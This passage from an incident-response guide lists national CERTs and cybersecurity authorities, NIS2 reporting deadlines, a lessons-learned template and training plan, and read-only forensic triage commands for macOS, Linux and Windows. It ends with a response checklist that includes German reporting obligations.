Depending on the location of the affected system or organization, different reporting obligations apply. Below are the most important national CERTs and cybersecurity authorities worldwide.

**Europe:**

| Country | Authority | Website |
|---|---|---|
| Austria | CERT.at | https://www.cert.at |
| Switzerland | NCSC (BACS) | https://www.ncsc.admin.ch |
| France | ANSSI | https://www.ssi.gouv.fr |
| Netherlands | NCSC-NL | https://www.ncsc.nl |
| Belgium | CCB / CERT.be | https://www.cert.be |

| Country | Authority | Website |
|---|---|---|
| Italy | ACN / CSIRT Italia | https://www.csirt.gov.it |
| Spain | INCIBE-CERT | https://www.incibe.es |
| Portugal | CNCS / CERT.PT | https://www.cncs.gov.pt |
| Poland | CSIRT NASK | https://www.cert.pl |
| Czech Republic | NUKIB | https://www.nukib.cz |
| Sweden | CERT-SE | https://www.cert.se |
| Norway | NCSC-NO | https://www.nsm.no |
| Denmark | CFCS | https://www.cfcs.dk |
| Finland | NCSC-FI | https://www.kyberturvallisuuskeskus.fi |
| Ireland | NCSC-IE | https://www.ncsc.gov.ie |
| Luxembourg | CIRCL | https://www.circl.lu |

**EU-wide bodies:**

| Organization | Scope | Website |
|---|---|---|
| ENISA | EU Agency for Cybersecurity | https://www.enisa.europa.eu |
| Europol EC3 | Cybercrime Centre (law enforcement) | https://www.europol.europa.eu/about-europol/european-cybercrime-centre-ec3 |
| CERT-EU | EU institutions and agencies | https://www.cert.europa.eu |

**North America:**

| Country | Authority | Website |
|---|---|---|
| USA | CISA | https://www.cisa.gov/report |

| Country | Authority | Website |
|---|---|---|
| USA | FBI IC3 (law enforcement) | https://www.ic3.gov |
| Canada | CCCS | https://www.cyber.gc.ca |

**Asia-Pacific:**

| Country | Authority | Website |
|---|---|---|
| Australia | ASD / ACSC | https://www.cyber.gov.au |
| New Zealand | CERT NZ | https://www.cert.govt.nz |
| Japan | JPCERT/CC | https://www.jpcert.or.jp |
| Singapore | CSA / SingCERT | https://www.csa.gov.sg |
| South Korea | KrCERT/CC | https://www.krcert.or.kr |
| India | CERT-In | https://www.cert-in.org.in |

**Other regions:**

| Country | Authority | Website |
|---|---|---|
| UK | NCSC UK | https://www.ncsc.gov.uk |
| Israel | INCD | https://www.gov.il/en/departments/israel_national_cyber_directorate |
| Brazil | CERT.br | https://www.cert.br |
| United Arab Emirates | aeCERT | https://www.tra.gov.ae |

**International coordination:**

| Organization | Scope | Website |
|---|---|---|
| FIRST | Global forum of incident response teams | https://www.first.org |

| Organization | Scope | Website |
|---|---|---|
| Interpol Cyber | International law enforcement | https://www.interpol.int/Crimes/Cybercrime |

**NIS2 Directive (EU):** Since 2024, the NIS2 Directive applies across the entire EU. Affected organizations must report security incidents within **24 hours** (early warning) and **72 hours** (full notification) to the responsible national CSIRT. This covers significantly more sectors and organizations than the previous NIS Directive.

## Lessons Learned & Training

After completion of the incident, a structured **lessons-learned meeting** should take place and concrete improvement measures should be derived.

> *Create a lessons-learned document with the following structure:*
>
> ***1. Incident Summary***
>
> - *What happened? (brief)*
> - *How was the incident discovered?*
> - *How long from compromise to discovery (dwell time)?*
>
> ***2. What worked well?***
>
> - *Fast isolation through Network Lockdown?*
> - *Effective analysis with Claude Code CLI?*
> - *Were existing logs sufficient?*
>
> ***3. What needs improvement?***
>
> - *Missing monitoring tools?*
> - *Insufficient log retention?*
> - *Missing incident response plans?*
> - *Lack of segmentation?*
>
> ***4. Concrete Measures***
>
> - *Technical (tools, configurations, monitoring)*
> - *Organizational (processes, responsibilities)*
> - *Personnel (training, awareness)*
>
> ***5. Training Plan***
>
> - *Which employees need training?*
> - *Which topics are priority?*
>
> *Save to /tmp/incident/report/lessons-learned.md*

**Training recommendations after an incident:**

| Target group | Topics | Priority |
|---|---|---|
| All employees | Phishing detection, social engineering, password hygiene, reporting channels | High |
| IT team | Incident response processes, log analysis, forensics basics | High |
| Administrators | System hardening, patch management, monitoring, backup verification | High |
| Developers | Secure coding, dependency management, secret management | Medium |
| Management | Risk assessment, reporting obligations, budget for security measures | Medium |

**Recommended timeline:**

- **Week 1-2:** Lessons-learned meeting with all involved
- **Month 1:** Security awareness training for all employees
- **Month 1-2:** Technical training for IT team
- **Quarter 2:** Incident response exercise (tabletop exercise)
- **Ongoing:** Regular phishing simulations and awareness refreshers

## Deactivate lockdown

Only when all phases are complete and the system has been hardened:

```
# macOS
sudo ./network-lockdown-mac.sh off

# Linux
sudo ./network-lockdown-linux.sh off

# Windows (PowerShell as Administrator)
.\network-lockdown-windows.ps1 off
```

# Appendix A — Command Reference by Platform

## macOS-specific commands

| Task | Command |
|---|---|
| All processes | `ps auxww` |
| Process details | `lsof -p PID` |
| Network connections | `lsof -i -P -n` |
| Open ports | `lsof -i -P -n \| grep LISTEN` |
| Last logins | `last` |
| Launch agents | `ls /Library/Launch{Agents,Daemons}/ ~/Library/LaunchAgents/` |
| Kernel extensions | `kextstat \| grep -v com.apple` |
| Unified logs | `log show --last 24h --predicate 'eventMessage contains "error"'` |
| Filesystem events | `fs_usage -w` |
| Firewall status | `pfctl -si` |

## Linux-specific commands

| Task | Command |
|---|---|
| All processes | `ps auxww` |
| Process tree | `pstree -p -a` |
| Network connections | `ss -tulpn` |
| Deleted binaries | `ls -la /proc/*/exe 2>/dev/null \| grep deleted` |

| Task | Command |
|---|---|
| Last logins | `last -Faiw` |
| systemd services | `systemctl list-units --type=service --all` |
| Kernel modules | `lsmod` |
| Journal logs | `journalctl --since "7 days ago"` |
| inotify monitoring | `inotifywait -m -r /etc /var/log` |
| iptables rules | `iptables -L -n -v --line-numbers` |

## Windows-specific commands (PowerShell)

| Task | Command |
|---|---|
| All processes | `Get-Process \| Select-Object Id,ProcessName,CPU,Path \| Sort-Object CPU -Descending` |
| Network connections | `Get-NetTCPConnection \| Select-Object LocalPort,RemoteAddress,State,OwningProcess` |
| Open ports | `Get-NetTCPConnection -State Listen` |
| Last logins | `Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" -MaxEvents 50` |
| Scheduled tasks | `Get-ScheduledTask \| Where-Object {$_.State -ne 'Disabled'}` |
| Registry run keys | `Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` |
| Installed services | `Get-Service \| Where-Object {$_.StartType -eq 'Automatic'}` |
| Event logs | `Get-WinEvent -LogName System -MaxEvents 100` |
| Drivers | `driverquery /v` |
| Firewall rules | `Get-NetFirewallRule -Enabled True` |

# Appendix B — Checklist

Use this checklist to ensure no phase is skipped:

- □ **Lockdown activated** — System is isolated
- □ **Working directory created** — /tmp/incident/
- □ **Volatile data secured** — Processes, network, RAM artifacts
- □ **System snapshot created** — OS, kernel, uptime, users
- □ **Auth logs analyzed** — SSH, sudo, login history
- □ **System logs analyzed** — syslog, journal, kernel messages
- □ **Webserver logs analyzed** (if applicable)
- □ **Suspicious processes identified** — PID, path, network
- □ **Process tree analyzed** — Parent-child relationships
- □ **Network connections secured** — TCP, UDP, listeners
- □ **ARP/DNS cache secured**
- □ **Routing table checked**
- □ **Filesystem scanned** — mtime, SUID, hidden, temp
- □ **File integrity checked** — dpkg --verify / rpm -Va
- □ **Persistence mechanisms checked** — Cron, services, profiles, keys
- □ **User accounts audited** — UID-0, new accounts, sudo
- □ **SSH keys audited** — authorized_keys, host keys
- □ **Malware analyzed** — Strings, hashes, patterns
- □ **IOCs documented** — IPs, hashes, files, accounts
- □ **Timeline created** — Chronological, with sources
- □ **Malicious code cleaned** — Malware, backdoors, persistence
- □ **Accounts cleaned** — Locked, deleted, passwords changed
- □ **SSH keys rotated** — Host keys and user keys
- □ **System hardened** — Updates, SSH, firewall, services
- □ **Logging enabled** — auditd, file integrity monitoring

- □ **Incident report created** — Complete, with timeline and IOCs
- □ **BSI report checked/filed** — KRITIS, NIS2, digital services
- □ **DSGVO report checked/filed** — Supervisory authority within 72h
- □ **Data subjects notified** — If high risk (Art. 34 DSGVO)
- □ **Criminal complaint filed** — Online-Wache or ZAC/LKA
- □ **Lessons-learned meeting held** — With all involved
- □ **Training plan created** — Awareness, technical, processes
- □ **Lockdown deactivated** — Only after complete hardening